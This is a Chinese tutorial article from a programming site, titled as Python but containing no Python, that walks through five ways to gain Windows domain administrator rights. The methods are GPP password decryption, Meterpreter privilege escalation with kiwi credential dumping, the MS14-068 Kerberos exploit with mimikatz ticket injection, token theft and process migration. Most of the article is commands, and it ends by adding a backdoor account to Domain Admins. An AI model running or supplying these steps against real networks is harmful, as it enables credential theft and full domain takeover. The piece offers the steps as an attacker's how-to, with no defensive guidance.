您的位置：首页 > 编程技术 > python  >  Python安全获取域管理员权限几种方式操作示例

Python安全获取域管理员权限几种方式操作示例

 更新时间：2021年10月15日 00:01  点击：1607

在大多数情况下，攻击者可以通过定位域管理员所登录的服务器，利用漏洞获取服务器system权限，找到域管理的账号、进程或是身份验证令牌，从而获取域管理员权限

第1种方式：利用GPP漏洞获取域管理权限

SYSVOL是域内的共享文件夹，用来存放登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时，在脚本中引入用户密码，就可能导致安全问题。

（1）访问SYSVOL共享文件夹，搜索包含“cpassword”的XML文件，获取AES加密的密码。

4b72b7c4222da98a8e5825991de85814.png

（2）使用kali自带的gpp-decrypt进行破解，从而获取域账号密码，直接登录域管理员账号获取访问权限。

237666e53154570099b1472ea40cd200.png

第2种方式：获取服务器明文登录密码

使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法，一是当前的权限是administrator用户，二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

meterpreter > getuid
Server username: BYPASS-E97BA3FC\Administrator
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

加载kiwi模块

load kiwi

列举系统中的明文密码

creds_all

97b51e59dcd9d68f3eb9cb87941650c5.png

第3种方式：使用MS14-068漏洞进行提权

MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

攻击流程：

第一步：利用MS14-068伪造生成TGT

MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d  dc.test.com

8c02d0b76173c974c5484b13d4f2de6c.png

第二步：利用mimikatz将工具得到的TGT票据写入内存，创建缓存证书

mimikatz#kerberos::ptc TGT_bypass@test.com.ccache

5b4f11d26249d8fd3dad35394b883804.png

第三步：获取域管理员权限。创建一个 test 账号并加入域管理员组，从而随时可以登录域控主机进行操作。

PsExec.exe \\dc cmd.exe 
// 添加test用户
net user test abc123! /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins"  test /add /domain
// 查看域管理员
net group "domain admins" /domain

第4种方式：窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

1、入侵域管理员所在的服务器，窃取域管理员的令牌，从而控制整个域。

a65ff8fa740f2260619f860c45c585cc.png

2、直接在meterpreter shell上执行添加域管理员

add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址

第5种方式：进程迁移

入侵了域管理员所登录的服务器，将进程迁移到域管理员所运行的进程，就可以获得域管理员权限。

1、获取域管理员列表

net group "Domain Admins" /domain

bfd69785de08b8e46907a938839d3f0b.png

2、利用ps找到域管理员（TEST\bypass）所运行的进程，然后将shell进程迁移到域管理员所运行的进程中，成功后就获得了域管理员权限。如下图所示：

53e1f5dc769310202e0938b1538f8fca.png

3、输入shell命令获取OS shell，在本机上使用Windows命令添加新的域管理员：

// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins"  test /add /domain

4、成功添加了域管理员账号test。

1a91aee99283c9716d6038fee51ea8da.png

以上就是Python安全获取域管理员权限几种方式操作示例的详细内容，更多关于Python获取域管理员权限方式的资料请关注猪先飞其它相关文章！

[!--infotagslink--]

相关文章

  • 详解前端安全之JavaScript防http劫持与XSS

    作为前端，一直以来都知道HTTP劫持与XSS跨站脚本、CSRF跨站请求伪造。防御这些劫持最好的方法是从后端入手，前端能做的太少。而且由于源码的暴露，攻击者很容易绕过防御手段。但这不代表我们去了解这块的相关知识是没意义的，本文的许多方法，用在其他方面也是大有作用。...2021-05-24

  • 安全地关闭MySQL服务的教程

    普通关闭 我的mysql是自己下载的tar包，自己设定安装目录来安装的。停止mysql服务，说来简单，但不知道的话，还真是挠头。在这和mysql入门的同学们共享:)正确方法是，进入mysql的bin目录下，然后执行./mysqladmin -uroot -p shut...2015-11-24

  • 浅谈关于如何检测iOS14本地网络权限的一些思路

    这篇文章主要介绍了浅谈关于如何检测iOS14本地网络权限的一些思路，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧...2020-12-08

  • phpMyadmin创建数据库和设置用户权限图解

    phpmyadmin是一款很不错的WEB对mysql数据库管理软件，如果你想创建数据库与设置用户权限我们必须操作用户的很高的权限，如ROOT权限，下面我来给大家介绍介绍。 先来配...2016-11-25

  • C#实现线程安全的简易日志记录方法

    这篇文章主要介绍了C#实现线程安全的简易日志记录方法,比较实用的功能,需要的朋友可以参考下...2020-06-25

  • C#判断程序是否是管理员权限运行的方法代码示例

    这篇文章主要介绍了C#判断程序是否是管理员权限运行的方法代码示例,本文直接给出实现代码例子,需要的朋友可以参考下...2020-06-25

  • apache中配置整合tomcat环境与安全配置

    系统:centos 5.9 环境:apache 2.2.25 tomcat 7.0.42 jdk 1.7.0 1.安装apache 我这里是直接yum安装的,如果你们要编译安装也不是不行. 代码如下 ...2016-01-28

  • Java类的访问权限关键字用法说明

    这篇文章主要介绍了Java类的访问权限关键字用法说明，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2020-09-29

  • Postgres 创建Role并赋予权限的操作

    这篇文章主要介绍了 Postgres 创建Role并赋予权限的操作，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧...2021-01-16

  • Postgresql 数据库权限功能的使用总结

    这篇文章主要介绍了Postgresql 数据库权限功能的使用总结，具有很好的参考价值，对大家有所帮助。一起跟随小编过来看看吧...2021-02-05

  • MySQL验证用户权限的方法

    知识归纳因为MySQL是使用User和Host两个字段来确定用户身份的，这样就带来一个问题，就是一个客户端到底属于哪个host。 如果一个客户端同时匹配几个Host，对用户的确定将按照下面的优先级来排 基本观点越精确的匹配越优先...2015-11-08

  • 数据库写不进去IIS写入权限怎么设置

    后台内容无法更新，如基本设置保存不了，数据库写不进去，很有可能是Everyone权限问题，即Everyone 无权操作文件夹，按照下面的步骤操作即可...2016-01-27

  • MySQL数据库安全设置和常用管理方式

    当你第一次在机器上安装MySQL时，mysql数据库中的授权表是这样初始化的：你可以从本地主机（localhost）上以root连接而不指定口令。root用户拥有所有权限（包括管理权限） 并可做任何事情。...2013-09-19

  • php open_basedir安全与使用详解

    open_basedir的作用就是指定目录位置了,意思是将PHP 所能打开的文件限制在指定的目录树，包括文件本身了，并且不受是不是安全模式的影响。 如下是php.ini中的原文...2016-11-25

  • 服务器绝对安全简要设置策略操作指南第1/2页

    偶这里是针对的ＷＩＮ平台，现在的站长大部分都用ＷＩＮ２００３,相信没几个站长用低版本儿的操作系统的！...2016-01-27

  • mysql免安装没有任何root权限

    这篇文章主要介绍了mysql免安装没有任何root权限的安装与配置教程，本文图文并茂给大家介绍的非常详细，需要的朋友参考下...2017-01-22

  • sql安全之SQL注入漏洞拖库原理解析

    本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦，有需要的同这参考一下本文章。 在数据库中建立一张表： 代码...2016-11-25

  • PHP 获取文件目录权限函数fileperms介绍

    在php中要获取或目录权限我们可使用fileperms函数来获取，fileperms() 函数返回文件或目录的权限,。若成功，则返回文件的访问权限。若失败，则返回 false。 例子 1 ...2016-11-25

  • PHP实现文件安全下载的实例

    程序如下： 　　＄file_name = "info_check.exe"; 　　＄file_dir = "/public/www/download/"; 　　if (!file_exists(＄file_dir . ＄file_name)) { //检查文件是否存在 　...2016-11-25

  • 执行一个安全的SQL Server安装

    收集和分发数据是网络管理的职责之一，而且必须确保这些数据的准确性和安全性。不管它们是什么操作系统，数据库服务器需要特殊的管理以保证操作上的安全性。 良好的安...2016-11-25